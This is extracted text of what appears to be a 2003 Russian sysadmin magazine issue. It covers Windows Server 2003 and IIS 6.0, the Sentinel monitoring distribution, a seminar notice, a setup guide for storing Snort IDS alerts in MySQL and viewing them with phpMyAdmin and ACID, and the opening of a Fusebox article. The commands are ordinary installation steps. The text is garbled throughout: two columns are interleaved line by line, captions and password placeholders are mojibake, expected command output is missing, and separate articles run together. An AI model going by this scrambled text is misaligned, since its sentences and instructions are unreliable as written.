для конкретных задач, ориентированных на использо-
вание веб-технологий. Эта версия предназначена для
разработки и поддержки хостинга веб-приложений, веб-
страниц и веб-служб XML. Web Edition разработана для
использования в основном в качестве веб-сервера IIS Ðèñóíîê 1. Ïðèìåð ïðîåêòèðîâàíèÿ ñèñòåìû áåçîïàñíîñòè ñåðâåðà
версии 6.0 и предоставляет платформу для успешной Компания Microsoft призывает администраторов пе-
разработки и развертывания веб-служб XML, которая реходить на Windows Server 2003, не дожидаясь перво-
использует технологию ASP.NET, являющуюся одной из го сервис-пака. Тем не менее выход сервис-пака уже
основных частей .NET Framework. Кстати говоря, пред- официально назначен на декабрь этого года.
полагается, что Windows Server 2003 Web Edition при- Впрочем, стоит заметить, что при недочетах Windows
обрести в розничной продаже будет нельзя, поскольку 2000, в новой Windows 2003 таковых (во всяком случае
она будет распространяться исключительно через офи- пока) не обнаружено, и после разговора с несколькими
циальных партнеров Microsoft. администраторами крупных компаний, которые уже ус-
В свою очередь Windows Server 2003 Standard Edition пели перейти на Windows Server 2003, складывается
от Enterprise Edition предоставляемым функционалом впечатление, что система действительно внушает до-
во многом схожи, и по рекомендации Microsoft могут верие.
использоваться в зависимости от масштаба существу- Для начала давайте рассмотрим некоторые предпо-
Ðèñóíîê 2. Ìàñòåð óïðàâëåíèÿ ñåðâåðîì â äåéñòâèè Ðèñóíîê 3. Îïðåäåëåíèå ïóòè ìèãðàöèè äëÿ ñåðâåðà ïðè ïåðåõîäå
Как и всегда, разработчики делают ставку на повы- íà ïëàòôîðìó Windows Server 2003
шение надежности и производительности нового про- Миграция – процесс нелегкий и недешевый. Его целе-
дукта. С Windows Server 2003 все эти обещания выгля- сообразность всегда стоит под вопросом. Тем не менее
дят как нельзя более внушительно. Внесены усовершен- Windows Server 2003 – отличная замена старым NT 4.0 и
ствования в такие технологии, как балансировка нагруз- Windows 2000 Server.
ки сети, служба Active Directory (об этом ниже), класте- Причин для миграции с прежних серверных версий
ры серверов. Кроме того, интегрирована новая среда – Windows на Windows Server 2003 много, и для каждого
так называемая CLR (Common Language Runtime). Клю- предприятия они могут быть персональными. Кто-то
чевым свойством CLR с точки зрения администратора использует в качестве сервера Windows 2000 Server, а
является возможность обеспечения программной изо- кто-то до сих пор базирует свой сервер на основе
ляции приложений, исполняемых в общем адресном Windows NT 4.0. Если у вас последний случай, то стоит
пространстве. Это осуществляется с помощью безопас- заметить, что Windows Server 2003 не просто превос-
ного в отношении типов (type safety) доступа ко всем ходит Windows NT 4.0 по многим параметрам, но и яв-
областям памяти при исполнении безопасного управ- ляется более надежной ОС. К тому же использование
ляемого кода. Некоторые компиляторы могут создавать всех возможностей Windows Server 2003 позволит вам
MSIL-код, который не только безопасен в отношении значительно повысить не только производительность и
типов, но и поддается простой проверке на безопас- надежность сети, но и упростить само ее администри-
ность исполнения. Этот процесс называется верифи- рование. Например, служба Microsoft Active Directory уп-
кацией и позволяет серверам легко проверять написан- рощает администрирование крупных и территориаль-
ные на MSIL пользовательские программы, и запускать но распределенных сетей и дает возможность пользо-
только те, которые не будут производить опасных об- вателям быстро находить необходимые данные неза-
ращений к памяти. Такая независимая верификация висимо от размеров сети и количества серверов. Усо-
важна для действительно масштабируемых серверов, вершенствования, которые внесены в эту технологию,
исполняющих пользовательские программы и скрипты. по заявлениям разработчиков имеют важное стратеги-
52
администрирование
ческое значение для сетей предприятий любых разме- ность и масштабируемость, а также облегчить админист-
ров. В число нововведений и усовершенствований Active рирование сети в общем.
Directory входит переименование домена, что позволяет Ну и самое заметное усовершенствование в Active
изменять DNS- и NetBIOS-имена уже зарегистрирован- Directory, конечно же, повышение общей производи-
ных доменных имен в составе логической схемы лес тельности. В Windows Server 2003 организовано более
(forest) таким образом, что результирующий состав леса эффективное управление репликацией и синхрониза-
остается синтаксически корректным. цией содержимого Active Directory. Благодаря этому ад-
министраторам будет легче контролировать типы дан-
ных, подлежащих репликации и синхронизации между
контроллерами одного или нескольких доменов. Кроме
того, Active Directory предлагает больше возможностей
в плане интеллектуального отбора данных, подлежа-
щих репликации. Например, можно выбирать только из-
менившиеся данные, исключая необходимость обнов-
лять полностью весь каталог.
Нельзя не рассказать и о новшествах в плане Internet
Information Server (IIS), который теперь наделен порядко-
вым номером 6.0.
Теперь IIS предоставляет ряд новых функций и усо-
вершенствований, среди которых новые программные
средства, функции безопасности, новая архитектура об-
работки запросов и новые функции обеспечения быстро-
действия и масштабируемости.
Ðèñóíîê 4. Âëèÿíèå îáíîâëåíèÿ äîìåíîâ íà äîâåðèòåëüíûå Функция отслеживания состояния системы (WAP),
îòíîøåíèÿ интегрированная в IIS 6.0, поможет вам следить за со-
Также следует отметить появление в Active Directory стоянием рабочих процессов посредством периодичес-
поддержки класса inetOrgPerson – теперь администра- кой проверки связи с ними. Естественно, цель подоб-
тор может использовать данную возможность для вы- ных «процедур» состоит в выявлении блокировки того
полнения миграции объектов inetOrgPerson из катало- или иного процесса. Если какой-либо процесс блоки-
га LDAP в Active Directory при необходимости сравнить рован, служба WAP закрывает его и взамен запускает
содержимое Active Directory с другими каталогами LDAP другой, идентичный ему процесс.
или создать объекты inetOrgPerson в Active Directory. Привязка к процессорам в IIS 6.0 также играет да-
леко не последнюю роль. Каждый рабочий процесс
можно привязать к отдельному процессору, и при этом
попадания в кэш процессора (L1 или L2) происходят
чаще.
В плане безопасности в IIS 6.0 введены такие функ-
ции, как блокировка сервера, усовершенствование про-
токола SSL, интеграция так называемого паспорта
(Microsoft Passport), авторизация URL и многое другое.
Windows Server 2003 содержит значительное количе-
ство поправок и усовершенствований Active Directory, и
перечисленные выше нововведения и обновления AD –
это всего лишь маленькая доля всего, что появилось но-
вого в этой службе.
При помощи специальных служб сертификации и
средств управления сертификатами организации могут
создавать собственную инфраструктуру открытых клю-
Ðèñóíîê 5. Ïðåèìóùåñòâà ìèãðàöèè íà ïëàòôîðìó Windows Server 2003 чей (так называемую Public Key Infrastructure, PKI). Инф-
î÷åâèäíû, îñîáåííî åñëè âû èñïîëüçóåòå Windows NT 4.0 раструктура PKI позволяет администраторам внедрять
Windows Server 2003 является достойной альтернати- технологии обеспечения безопасности, основанные на
вой Windows NT 4.0 и побуждает системных администра- стандартах, (например, вход в систему с использовани-
торов, избавиться от старого ПО и перейти к новому. В ем смарт-карт, проверку подлинности клиентов по про-
качестве основного довода Microsoft приводит аргумент, токолам Secure Sockets Layer (SSL) и Transport Layer
формулирующийся примерно так: пора выкинуть старое Security (TLS).
железо под управлением Windows NT 4.0 и заменить его Службы сертификации позволяют администраторам
новыми высокопроизводительными кластерами под уп- создавать доверенные центры сертификации, отвеча-
равлением Windows Server 2003 – это позволит упростить ющие за выдачу и отзыв сертификатов X.509 V3. Бла-
топологию сети предприятия, повысить производитель- годаря этому организации могут и не зависеть от ком-
54
безопасность
ЗАЩИТНИК СЕТИ
СЕРГЕЙ ЯРЕМЧУК
56
безопасность
Главной задачей администратора является обеспечение
бесперебойной работы компьютеров и безопасности ком-
пьютерной сети. Если для малых сетей, когда компьютеры
находятся в соседних помещениях, обычно обходятся ус-
тановкой и конфигурированием firewall на маршрутизато-
ре и антивирусом на каждом компьютере, то в больших
сетях задача усложняется. Уследить за происходящим в
подопечной сети в этом случае задача уже далеко не три-
виальная и требующая совсем другого подхода. Теперь
сисадмину, чтобы не бегать по этажам в поисках неисп-
равностей, желательно иметь систему удаленного мони-
торинга компьютеров. В целях же обеспечения безопасно-
сти, кроме установки firewall, необходимо использовать
системы обнаружения вторжения, позволяющие оценить
происходящее в сети в целом, не ограничиваясь только
защитой наиболее важных компонентов сети по отдельно-
сти. И желательно, чтобы не прерывать контроля за подчи-
ненной сетью в случае остановки сервера по какой-либо
причине, установить эту систему на отдельный компьютер.
В качестве последнего вполне может подойти любой из
списанных (с подходящей мощностью, естественно).
Настройка и отладка подобных систем – задача совсем
не простая и требующая много времени и сил для поиска
и подбора необходимых компонентов и чтения докумен-
тации и сбора всего этого воедино. Поэтому хотелось бы
иметь инструмент, позволяющий установить все одним
махом с удобной и понятной настройкой. Успех операци-
онной системы Linux во многом состоит и в том, что каж-
дый может собрать дистрибутив конкретно под свои нуж-
ды, а собрав, показать, естественно, другим. Нашелся сре-
ди того большого разнообразия и удовлетворяющий по-
ставленной выше задаче. На сайте, кроме ISO-образа дистрибутива, можно най-
Шведский дистрибутив Compledge Sentinel (http:// ти исходники, документацию и несколько дополнительных
compledge.com/sentinel/) размером всего 147 Мб предназ- пакаджей. Установка особой сложности не представляет,
начен для мониторинга работы компьютеров, аудита бе- необходимо просто заполнять запрашиваемые пункты для
зопасности сетей и обнаружения вторжения в компьютер- последующей настройки, после чего просто распакуется
ные сети. То есть представьте себе отдельный компью- архив с системой. Удобно, что в отличие от большинства
тер с установленной Linux-системой, который только тем дистрибутивов, предназначенных для администратора
и занимается, что отслеживает происходящее в контро- (ClarkConnect, SmoothWall, Astaro Security Linux), програм-
лируемой сети и в случае чего сигнализирует сисадмину, ма установки позволяет разбить диск вручную (при помо-
принимает меры по недопущению распространения даль- щи cfdisk) с последующим указанием точек монтирова-
нейшей угрозы. И самое главное, так как Sentinel пред- ния, а не автоматически уничтожая при этом все данные,
ставляет собой законченное решение, поэтому и усилий что позволяет установить эту систему второй для перво-
для первоначальной настройки необходимо приложить начального ознакомления. В дальнейшем монитор с кла-
минимум. Достаточно всего лишь установить его и запус- виатурой можно отключить и получать информацию при
тить необходимые сервисы. помощи веб-интерфейса. Для осуществления задуманно-
го имеется полный комплект необходимых приложений.
Nagios (http://www.nagios.org/) представляет собой
программу удаленного системного мониторинга, позво-
ляющую отслеживать ошибки в работе серверов и сер-
висов и выдавать собранную информацию через веб-
интерфейс, в том числе и на пейджер или сотовый те-
лефон посредством SMS и WAP, есть возможность
пользователю добавлять свои программы оповещения.
Nagios позволяет производить мониторинг таких сете-
вых сервисов, как SMTP, TELNET, SSH, HTTP, DNS,
POP3, IMAP, NNTP и многих других. Кроме этого, есть
возможность добавлять свои скрипты мониторинга и
реакции на определенные события. Управлять систе-
58
безопасность
ВТОРОЙ СЕМИНАР
СИСТЕМНЫХ АДМИНИСТРАТОРОВ И ИНЖЕНЕРОВ SYSM.02
В середине декабря 2003 года портал SysAdmins.RU проводит второй Семинар системных администраторов и инже-
неров – SYSM.02. Первая подобная встреча проводилась в июле этого года (см. журнал «Системный администратор»
№9(10), 2003 г). При планировании SYSM.02 организаторы учитывают все позитивные и негативные моменты перво-
го Семинара. К участию приглашаются системные и сетевые администраторы, инженеры, IT-директора и аналитики,
представители прессы. На мероприятии будут обсуждаться многие проблемы IT-рынка, планирование карьеры IT-
специалистом, многие юридические аспекты и правовые вопросы, так или иначе связанные с работой системных
адмнистраторов и инженеров. Также будет проведено учредительное собрание профсоюза «Работников сферы ин-
формационных технологий». Более подробную информацию можно получить на портале SysAdmins.RU, на офици-
альном сайте Семинара http://sysm.ru и в декабрьском номере журнала.
60
безопасность
ПАВЕЛ ЗАКЛЯКОВ
62
безопасность
Описанный в статье [1] способ настройки IDS Snort, при Занесение данных из IDS Snort в БД
котором логи ведутся в текстовый файл, имеет как поло- Для начала мы возьмём относительно простую и свобод-
жительные моменты, так и отрицательные. Среди поло- но распространяемую БД MySQL. Её выбор обоснован
жительных моментов можно назвать простоту. С тексто- большей распространённостью среди простых БД и на-
выми файлами человек может работать «напрямую», про- личием достаточного числа литературы к ней на русском
сматривая их в текстовом редакторе, используя различ- языке [5].
ные возможности их обработки с помощью средств shell Напомню основные моменты по установке Snort (под-
и perl. Удобства очевидны: не требуются дополнительные робнее см. [1]). Как и обычно, скачиваем и ставим после-
программы и прочие утилиты. Однако если смотреть шире, дний Snort, если он не стоит:
то по мере увеличения возможностей СОА эти преиму-
щества обращаются в недостатки. Приведём один такой # wget http://www.snort.org/dl/snort-2.0.2.tar.gz
# wget http://www.snort.org/dl/snort-2.0.2.tar.gz.md5
существенный недостаток: при очень больших объёмах
логов место на диске при использовании текстовых фай- Сравниваем значения хеша, выданного командами:
лов тратится не оптимально. Многие программы пытают-
ся вести логи в своём, более компактном формате, либо # cat snort-2.0.2.tar.gz.md5
# md5sum snort-2.0.2.tar.gz
имеют такую опциональную возможность. На первый
взгляд это решает проблему размера лог-файлов, замет-
но их сокращая, но вместе с этим привносится и ряд но-
вых потенциально возможных неудобств. Вот и получает-
ся, что двоичные файлы оказываются меньше по разме-
ру, но не могут быть централизованно для всех программ Аналогично скачиваем и проверяем последние правила:
стандартизированы, а текстовые файлы не предоставля-
ют широких возможностей для их быстрого просмотра и # wget http://www.snort.org/dl/rules/snortrules-stable.tar.gz
# wget http://www.snort.org/dl/rules/snortrules-stable.tar.gz.md5
более глубокого анализа с целью обнаружения каких-то # cat snortrules-stable.tar.gz.md5
внутренних зависимостей. Вот и подумаешь исходя из # md5sum snortrules-stable.tar.gz
этого: «А зачем изобретать велосипед, не проще ли вос-
пользоваться уже какой-нибудь готовой СУБД для веде- Распаковываем скачанное куда-нибудь, например в
ния логов в неё?». Дополнительные плюсы от использо- директорию /progi/snort-2.0.2, и запускаем там конфигу-
вания СУБД очевидны: во-первых, СУБД стандартизиро- рирование с опцией --with-mysql:
вана, во-вторых, легче решается вопрос переноса дан-
ных в другую СУБД, если у неё вдруг окажутся лучшие #./configure --with-mysql
математические возможности по анализу данных. Также
в случае использования нескольких сенсоров (сбора дан- не забываем про библиотеку libpcap. Если она не стоит и
ных с нескольких узлов) с СУБД проблем не будет, а с выдаётся ошибка:
текстовыми файлами может возникнуть путаница в име-
нах лог-файлов, либо простои из-за периодических бло-
кировок одного и того же лог-файла, так как одновремен-
но данные из двух мест туда писаться не могут.
На наше счастье все эти проблемы по более компакт-
ному хранению информации, более удобному её анализу
и организации многопользовательского доступа уже ре- копируем со второго диска (RedHat v.7.3) и ставим:
шены в многопользовательских реляционных базах дан-
ных. (Под пользователями в данном случае можно пони- # rpm -ihv libpcap-0.6.2-12.i386.rpm
мать все процессы на одном или нескольких компьюте-
рах, желающие работать в один и тот же момент с БД.) Если БД MySQL у вас не установлена, то вам выдаст-
Далее мы попытаемся настроить Snort для работы с ся следующее сообщение в процессе конфигурирования:
БД MySQL и поговорим о способах просмотра записан-
ных данных. Занесение данных в БД – лишь малая часть
проблемы, можно сказать, надводная часть айсберга, а
вот «что делать с уже внесёнными данными дальше?» –
это уже вопрос, который может и не иметь однозначно
правильного ответа. Попытка дать на него ответ – это
довольно непростая задача, особенно если мы хотим сде-
лать какие-то обоснованные выводы на основе данных,
собранных с распределённой сети сенсоров. Наиболь- и вам надо будет поставить БД MySQL. RedHat 7.3 идёт с
шую сложность могут представлять попытки обнаруже- версией 3.23.49-3 и mysqlclient9-3.23.22-6. Так как более
ния в данных следов распределённых телекоммуника- новые версии данных продуктов доступны также в rpm че-
ционных атак, но об этом, скорее всего, я напишу в бу- рез up2date (или http://redhat.com/apps/support/errata/), то мы
дущих статьях. возьмём их, соответственно версии 3.23.54a-3 и 3.23.22-8.
64
безопасность
# mysql -u root Это долго и неудобно, велика вероятность ошибки. По-
этому лучше воспользоваться уже готовым cписком ко-
Далее нам выдастся обычное приглашение уже самой манд, благо для популярных БД они поставляются с дист-
базы данных. рибутивом Snort в директории contrib.
Нужный нам файл называется create_mysql. Мы огра-
ничимся лишь быстрым просмотром этого файла для оз-
накомления, а если у вас будет своя, уникальная БД, тог-
да вам лучше взять подобный файл и разобраться со
структурой таблиц досконально, а пока я не вижу смысла
придумывать велосипед.
Команды следует набирать после приглашения «mysql>»: Создать описанную структуру можно командой:
в ответ должно выдастся что-то вроде: Однако мы сделаем это немного по-другому, в инте-
рактивном режиме, чтобы было более понятно. Для этого
Query OK, 0 rows affected (0.39 sec) файл create_mysql мы помещаем в директорию, из кото-
рой будем запускать MySQL, чтобы он его видел без ука-
Затем создаём БД snort (это нужно и тем, у кого MySQL зания лишних путей.
уже давно настроена): Запускаем:
Иногда слова CREATE DATABASE пишут заглавными Введя ваш_пароль№2, в приглашении БД указыва-
буквами, но в данном случае это не важно. Далее следу- ем, что мы хотим подключиться и работать с БД snort.
ет выйти из БД командой:
mysql> connect snort
mysql> exit
После успешного подключения указываем, что нам не-
Теперь, после того как мы установили пароль для за- обходимо выполнить содержимое файла create_mysql, то
хода в БД, нам следует набирать пароль при входе в БД и есть фактически создать нужную нам структуру таблиц.
заходить уже другой командой, с лишним ключом «-p»,
говорящим о необходимости запрашивать пароль: mysql> source create_mysql
66
безопасность
будет. Повторное поднятие уже поднятого интерфейса # tail -f èìÿ_ýòîãî_ôàéëà
ошибок давать не должно. Строчку «rm /var/log/snort/alert»
и несколько соседних можно закомментировать, если вы для просмотра вновь появляющихся записей или:
не хотите, чтобы у вас при запуске этот файл начинался
с нуля. # cat èìÿ_log_ôàéëà
Далее, либо руками прописываем мягкие ссылки на
/etc/rc.d/init.d/snortd в директориях /etc/rc.d/rc?.d на запуск для просмотра содержимого всего файла. Для работы с
и останов, соблюдая последовательность запуска, чтобы БД нам необходимо наличие большего объёма знаний.
Snort запускался после MySQL, например: Счастлив тот, кто знает СУБД как свои пять пальцев, – он
может смело пропустить несколько абзацев ниже. Со все-
# ln -s /etc/rc.d/init.d/snortd /etc/rc.d/rc3.d/S79snortd ми остальными мы попытаемся просмотреть таблицы БД
# ln -s /etc/rc.d/init.d/snortd /etc/rc.d/rc3.d/K11snortd
snort с помощью SQL-запросов.
либо запускаем: Для начала нам необходимо подключиться к СУБД
MySQL. Сделать это можно как от имени суперпользо-
# chkconfig snortd on вателя root, так и от имени заведённых пользователей
snort и acidviewer. Выберем пользователя snort и выпол-
или ним команду:
(сделать ссылки только для уровня 3), который делает это В качестве пароля необходимо ввести ваш_пароль№1.
за нас. Вся последующая работа с БД ведётся с помощью
Автоматизация этого процесса не даёт гарантии того, SQL-запросов. Для получения более-менее наглядного
что запуск Snort окажется после MySQL, а останов на- представления о таблицах с данными мы выполним не-
оборот, поэтому этот момент следует проконтролировать сколько простых SQL-запросов. Более глубокое изуче-
вручную, посмотрев, чтобы номер у S??snortd был боль- ние языка запросов читатели могут выполнить самосто-
ше, чем у S??mysqld, а номер у K??snortd был меньше, ятельно. После того как мы убедимся, что данные в таб-
чем у K??mysqld. лицах есть, мы перейдём к настройке средств более
Напомню, что в дистрибутиве Snort, в директории удобного просмотра БД, а именно ACID. Первая коман-
contrib имеется файл S99snort, аналогичный snortd. да, которую мы выполним, покажет нам, какие БД име-
В случае успешного выполнения вышенаписанных ются в нашей СУБД.
действий по автоматизации процесса запуска Snort дол-
жнен запуститься либо при запуске вручную скрипта ав- mysql> SHOW DATABASES;
томатизации, как это будет сделано ниже, либо после
перезапуска компьютера.
В любом случае в ответ на ваши действия вы должны
увидеть зелёное ok, а на команду status вам должно вы-
даваться, что Snort выполняется.
68
безопасность
Обратившись к [5], можно научиться выполнять и бо- Если вы установили правильный пароль, то при попыт-
лее виртуозные запросы. В таблице iphdr для каждого ке обращения к директории phpmyadmin веб-сервера, под-
события по его cid точно так же можно узнать IP-адрес держивающего php, должно выдасться следующее:
источника атаки и на какой адрес она была нацелена.
Моё мнение таково, что хороший системный админи-
стратор или специалист по информационной безопас-
ности должны уметь выполнять простые SQL-запросы в
командной строке, как это было описано выше. Конеч-
но, никто этого делать не заставляет, и большинство из
нас далеки от совершенства, выше было рассказано
про то, без чего по-хорошему никак не обойтись. Лю-
бая, будь то самая удобная графическая оболочка при
попытке задания более сложных запросов неминуемо
приведёт вас к написанию SQL-запросов вручную. Не-
смотря на то что язык SQL лучше знать, чем не знать,
не хотелось бы упускать из вида те инструменты, кото-
рые значительно упрощают нашу жизнь, в частности,
программу phpMyAdmin. Многих должен порадовать тот факт, что поддержива-
ется русский язык и есть выбор различных кодировок. Да-
phpMyAdmin лее, если щёлкнуть на «Базы данных», должны высве-
Для работы phpMyAdmin [8] и ACID необходимо, чтобы титься те БД, которые имеются в MySQL.
были установлены пакеты php и php-mysql, у меня это
были php-4.1.2-7.3.6 php-mysql-4.1.2-7.3.6, на 2-м и 3-м
дисках RedHat v.7.3, соответственно, имеются более ран-
ние версии.
Всё вышеизложенное по поводу просмотра БД в бо-
лее наглядной форме можно реализовать с помощью
этого продукта. Для работы Snort он не нужен, но для
более наглядного представления данных в БД считаю,
что с этим пакетом стоит познакомиться всем тем, кто
с ним не знаком.
Для начала следует сходить на сайт этой програм-
мы [8] и скачать последнюю версию с какого-нибудь зер-
кала. На момент написания статьи последней версией
была 2.5.4.
После скачивания, например [9], и проверки хеш- Щёлкая на Snort, мы выбираем эту БД и попадаем к
функции: следующему окну, где сразу видны названия тех таблиц,
которые содержатся в этой БД.
# md5sum phpMyAdmin-2.5.4-php.tar.gz
(MD5: 76fc7216aa2f132888c7173a6668af46)
$cfg['Servers'][$i]['password'] = '';
$cfg['Servers'][$i]['password'] = 'âàø_ïàðîëü¹2';
Остальные настройки, как host, port, user и пр., менять Щёлкая на название таблицы event слева, получаем
не стоит, так как по умолчанию всё должно работать. информацию об этой таблице:
ACID
ACID [10] расшифровывается как Analysis Console for
Incident/Intrusion Databases и дословно переводится как
консоль для анализа баз данных с инцидентами/атаками/
вторжениями. В общем, для нашего случая это то, что
доктор прописал, тем более что данная программа была
разработана координационным центром CERT [11] как
часть проекта AIRCERT [12].
Задав себе повторно тот же, что и ранее, вопрос, а имен- ACID из себя представляет набор php-cкриптов, спо-
но: «Что за событие означает сигнатура номер 2?», мы мо- собных выполнять различные функции, в том числе на-
жем также просто щёлкнуть на имя таблицы signature слева и чиная с формирования запросов на получение данных
увидеть параметры этой таблицы, затем внизу, не меняя SQL- из БД аналогично тому, как это мы делали ранее, и за-
запроса в окошке, нажав на кнопку «Пошёл», получаем со- канчивая декодированием пакетов с целью их более
держимое первых 30 строк, среди которых находим нужную. удобного визуального восприятия и подсчётом статис-
тических данных.
Содержимое БД при этом может формироваться не
только за счёт системы обнаружения атак, но также мо-
жет пополняться данными с различных межсетевых экра-
нов и средств сетевого мониторинга.
Для того чтобы наглядно оценить удобство исполь-
зования данного средства, необходимо также иметь ка-
кой-либо из установленных веб-серверов с поддержкой
php, например, всё тот же apache. Плюс необходимо
иметь несколько дополнительных средств, нужных для
работы ACID:
ADODB [13];
JpGraph [15];
PHPlot [16];
GD [17].
70
безопасность
«ADODB – это абстрактный класс доступа к базам В именах директорий gd-2.0.15, phplot-4.4.6 убираем
данных, написанный на PHP» [14]. номера версий либо делаем мягкие ссылки на эти дирек-
«Для тех, кто в танке, поясню на примере. Предполо- тории:
жим, вы написали скрипт под MySQL, и тут заказчик го-
ворит вам, что хостинг меняется, и там есть только # cd /var/www/html
# mv gd-2.0.15 gd
PostgreSQL. # mv phplot-4.4.6 phplot
Если вы не использовали класс абстрактного доступа
к базам данных, то вам пришлось бы: или
заменить весь код работы с MySQL на postgreSQL;
переписать SQL-запросы (так как есть отличия). # cd /var/www/html
# ln -s gd-2.0.15 gd
# ln -s phplot-4.4.6 phplot
Если бы вы использовали абстрактный слой досту-
па к БД, то вам скорее всего не пришлось бы менять Напоминание: для работы ACID необходимо наличие
php-код (только в одном месте указали бы, что исполь- установленных пакетов php и php-mysql (подробнее см.
зуете PostgreSQL) и изменить SQL-запросы (хотя иног- выше).
да и это не понадобилось бы). Я намеренно в этом опи- Далее следует настроить ACID на работу с нашей БД
сании использовал фразу «абстрактный класс доступа и показать ему, куда мы скопировали дополнительные па-
к БД», поскольку ADODB – не единственный подобный кеты, для этого в файле /var/www/html/acid_conf.php не-
класс. Наиболее известные конкуренты: Pear::DB и обходимо изменить переменные:
Pear::MDB» [14].
JpGraph – это графическая библиотека для PHP, зна- $DBlib_path = "../adodb";
$alert_dbname = "snort";
чительно упрощающая рисование различных графиков и $alert_user = "snort";
диаграмм, позволяющая это делать с минимумом кода. $alert_password = "âàø_ïàðîëü¹1";
$ChartLib_path = "../jpgraph";
При этом можно рисовать как черновые наброски, так и
очень точные графики, в том числе и с указанием необ- Остальные переменные проще настроить по мере не-
ходимых погрешностей. обходимости, у большинства читателей это не должно
PHPLOT – фактически то же самое, что и JpGraph, вызвать проблем, так как ACID очень дружелюбен и по-
позволяет рисовать графики. Требует наличия библио- чти всегда указывает, что и где надо править в случае,
теки GD. если ему что-то не нравится.
GD – это библиотека ANSI C, необходимая для дина- Далее обратимся по адресу: http://localhost/acid/. При
мического создания картинок. GD может создавать кар- первом запуске ACID нам сообщит, что дополнительные
тинки в различных форматах, в том числе в PNG и JPEG. таблицы, необходимые для его работы, не созданы:
(GD не поддерживает формат GIF.)
Пробежав по разделам download вышеописанных про-
дуктов, скачиваем последние стабильные версии и про-
веряем их хеши:
ACID 0.9.6b23 [18]
ADODB 3.94 [19]
JpGraph 1.13 [20]
PHPlot 4.4.6 [21]
GD 2.0.15 [22]
d8c49614393fa05ac140de349f57e438 acid-0.9.6b23.tar.gz
78aac17c7fd1d0e0f6685153facb8c36 adodb394.tgz
6ededf633b4fd054662ec123c7825fbb gd-2.0.15.tar.gz Для их создания нам необходимо нажать на «Setup
ad78bd1658e3983bb6afbc074f029698 jpgraph-1.13.tar.gz page». После чего у нас отобразится следующее окно:
8a5b34e09fa29f20e31814cbd8c0d0b5 phplot-4.4.6.tar.gz
# cp -R /var/www/html/acid /var/www/html/acidviewer
$alert_user = "snort";
$alert_password = "âàø_ïàðîëü¹1";
на
$alert_user = "acidviewer";
$alert_password = "âàø_ïàðîëü¹3";
72
безопасность
</Directory> В следующих статьях я попробую рассказать о неко-
<Directory "/var/www/html/acidviewer"> торых особенностях работы и настройки Snort, в частно-
AuthType Basic сти о возможности подключения нескольких сенсоров.
AuthName "commentline2"
AuthUserFile /usr/lib/apache/passwords/passwords
Require user view
AllowOverride None
Литература, ссылки:
</Directory> 1. П. Закляков. Обнаружение атак: теория и практика,
Snort. – //Журнал «Системный администратор»
Замечание: следует внимательно посмотреть, в ка- №10(11), октябрь 2003 г. – 48-67 с.
кую секцию вы дописываете эти строчки, и проследить 2. Раздел документации к Snort: http://www.Snort.org/docs/
за другими секциями, может случиться так, что дописы- 3. Snort Installation Manual on RedHat 7.3: http://
вать их придётся несколько раз, каждый раз для своей www.Snort.org/docs/Snort-rh7-mysql-ACID-1-5.pdf
секции. Иначе может возникнуть ситуация, когда, напри- 4. Snort Installation Manual on RedHat 9.0: http://
мер, для http-доступа у вас пароль спрашиваться будет, www.Snort.org/docs/Snort_acid_rh9.pdf
а для https – нет, или наоборот. 5. Л.Аткинсон. MySQL. Библиотека профессионала: Пер.
В переменной AuthName можно записать любую ин- с англ. – М.: Издательский дом «Вильямс», 2002.
формацию, которая будет выдаваться пользователю при 6. MySQL The World’s Most Popular Open Source Database:
запросе пароля. http://www.mysql.com/, раздел download http://
www.mysql.com/downloads/index.html
7. П.Дюбуа. Применение MySQL и Perl в Web-приложе-
ниях: Пер. с англ. – М.: Издательский дом «Вильямс»,
2002.
После внесения изменений в конфигурационный файл 8. phpMyAdmin – MySQL DB administration tool: http://
необходимо уведомить apache об этих изменениях, про- www.phpmyadmin.net
сто перезапустив его командой: 9. Ссылка на одно из зеркал, откуда можно скачать
phpMyAdmin: http://unc.dl.sourceforge.net/sourceforge/
# /etc/rc.d/init.d/httpd restart phpmyadmin/phpMyAdmin-2.5.4-php.tar.gz
10. Сайт ACID (Analysis Console for Intrusion Databases):
http://acidlab.sourceforge.net/
11. Сайт координационного центра CERT: http://
www.cert.org/
12. ACID (часть проекта AIR-CERT): http://www.cert.org/kb/
acid/
13. ADOdb Database Library for PHP: http://php.weblogs.com/
adodb
14. М.Матюхин. Абстрактный доступ к БД с помощью
ADODB, http://detail.phpclub.net/2003-08-19.htm
15. JpGraph – OO Graph Library for PHP: http://www.aditus.nu/
jpgraph/
16. PHPLOT: http://www.phplot.com/
17. GD Graphics Library: http://www.boutell.com/gd/
18. http://acidlab.sourceforge.net/acid-0.9.6b23.tar.gz
Если после этого у вас при заходе запрашивается па- 19. http://phplens.com/lens/dl/adodb394.tgz
роль (не забудьте сбросить кеш) и всё работает, то статья 20. http://members.chello.se/jpgraph/jpgdownloads/jpgraph-
удалась и можно сказать, что дальнейшее изучение ACID 1.13.tar.gz
лучше выполнить самостоятельно с помощью «метода на- 21. http://ftp1.sourceforge.net/phplot/phplot-4.4.6.tar.gz
учного тыка», щёлкая мышкой. Графический интуитивно 22. http://www.boutell.com/gd/http/gd-2.0.15.tar.gz
понятный интерфейс не должен вызвать у вас затруднений.
АНДРЕЙ УВАРОВ
ДМИТРИЙ ГОРЯИНОВ
76
web
Такие системы существуют в виде коммерческих и свобод- называется ServerRoot), а для пользователей MS-IIS
но распространяемых «движков», такие системы создают- (<http://www.microsoft.com/iis>), скорее всего каталог
ся и будут создаваться веб-разработчиками на самых раз- C:\inetpub\wwwroot.
личных языках программирования. Практически никогда Файлы Fusebox 3.0 for PHP: <http://www.fusebox.org/
такие системы не создаются «за раз». Их совершенству- index.cfm?&fuseaction=phpframework.default> (а так же для
ют, дорабатывают, наделяют новыми возможностями. других реализаций) можно получить по интернет-адресу:
Говоря другими словами, проблема управления сайтом < h t t p : / / w w w . f u s e b ox . o r g / i n d ex . c f m ? & f u s e a c t i o n =
рождает проблему обновления и сопровождения программ- framework.languages>. Выбираем нужную нам ссылку
ного обеспечения. Не важно, на каком языке программи- («Fusebox 3.0 for PHP» <http://www.fusebox.org/index.cfm?&
рования вы пишете. Вы вынуждены переделывать свой или fuseaction=phpframework.default>). На следующей страни-
чужой код. Вы нарабатываете повторно используемые ре- це выбираем ссылку «Download Core Files».
шения в виде модулей, классов, интерфейсов. Вы так или В индексном файле index.php описывается только одно
иначе приходите к использованию технологии в разработ- действие – выбирается ядро Fusebox для использования.
ке своих проектов. Вот о технологии мы и поговорим. Нужное значение зависит от того, какую версию PHP вы
Fusebox – это технология создания веб-приложений, на- используете. Если этого не происходит, то можно выбрать
